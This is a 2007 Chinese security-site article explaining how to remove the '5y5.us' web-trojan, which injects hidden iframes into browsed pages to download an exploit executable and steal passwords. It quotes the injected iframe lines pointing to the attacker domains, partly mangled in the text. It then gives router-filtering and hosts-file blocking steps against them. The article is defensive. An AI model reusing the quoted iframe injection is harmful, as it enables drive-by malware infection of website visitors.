RSS
热门关键字:  时间 autorun AVG key 百度
当前位置 :| 首页 > 病毒木马 > 病毒查杀 >

5y5.us病毒的解决方法

来源: 作者: 时间:2007-06-05 07:58:31 点击:
5Y5.us 此病毒于5月18号早上发作。此病毒是用于盗取密码为主。其他的,暂时还不知道。

此病毒还会在局域网传播。也就是,你家有10台电脑同用一条ADSL,其中一台中了,就会全部都中了。

现在微软还没发布补丁,建议少去不知名网站。小心中毒。。。


         
病毒中毒现象:打开任何网站时,会在你所打开的网站加载 一个地址,那地址就是  HTTP://5Y5.US

机器中毒时,不开网页不会没事,一但你开了,就加载了。特别要注意的事,打开网页是,要注意IE右下的的状态栏,一般打开网页右下出现完毕两个字的。如果中了5Y5,下边是一个三角符号的。
这个病毒会自动下载Http://5y5.us/a.exe这个病毒程序(Exploit.Win32.IMG-ANI.k),并启动MZKERNEL32.DLL进程,注意这个病毒已经做了免杀,无法被卡巴斯基杀掉,瑞星之类的就更别说了。


一下是转自网友的解决方法!
路由上面加入“域名过滤”,把5y5.us和7y7.us都加进去

想了想,5y5 类型应该是属于网页挂马。
所以做了过滤 进出都做,安全性至少有了不错的保障。

方法二:(转贴,个人感觉这个还是比较可行的。。。)

关于5y5.us:
在打开所有网页,都会自动加载以下代码:
Do you Qihoo?rame src=http://5y5.us/ width=100 height=0 frameborder=0></i-frame-X>
Do you Qihoo?rame src=http://5y5.us/2/002.htm width=0 height=0></i-frame-X> <html>
或http://5y5.us/1/1.jpg  等网址...
处理可以通过360安全卫士清除)
(1)立刻屏蔽那些域名的访问:
立刻关闭IE,然后用记本事打开:
C:\WINDOWS\system32\drivers\etc
下的,HOST文件...
在127.0.0.1       localhost下面,,换行,加上下面的地址:
127.0.0.1       5y5.us
127.0.0.1       www.5y5.us
127.0.0.1       www.7y7.us
127.0.0.1       7y7.us
127.0.0.1       ws91.com
127.0.0.1       www.ws91.com
保存就OK了,,访问那些网址,都不会转到127.0.0.1(本机IP)这个IP了..
最新评论共有 位网友发表了评论
评论内容:不能超过250字,需审核,请自觉遵守互联网相关政策法规。
验证码:
匿名?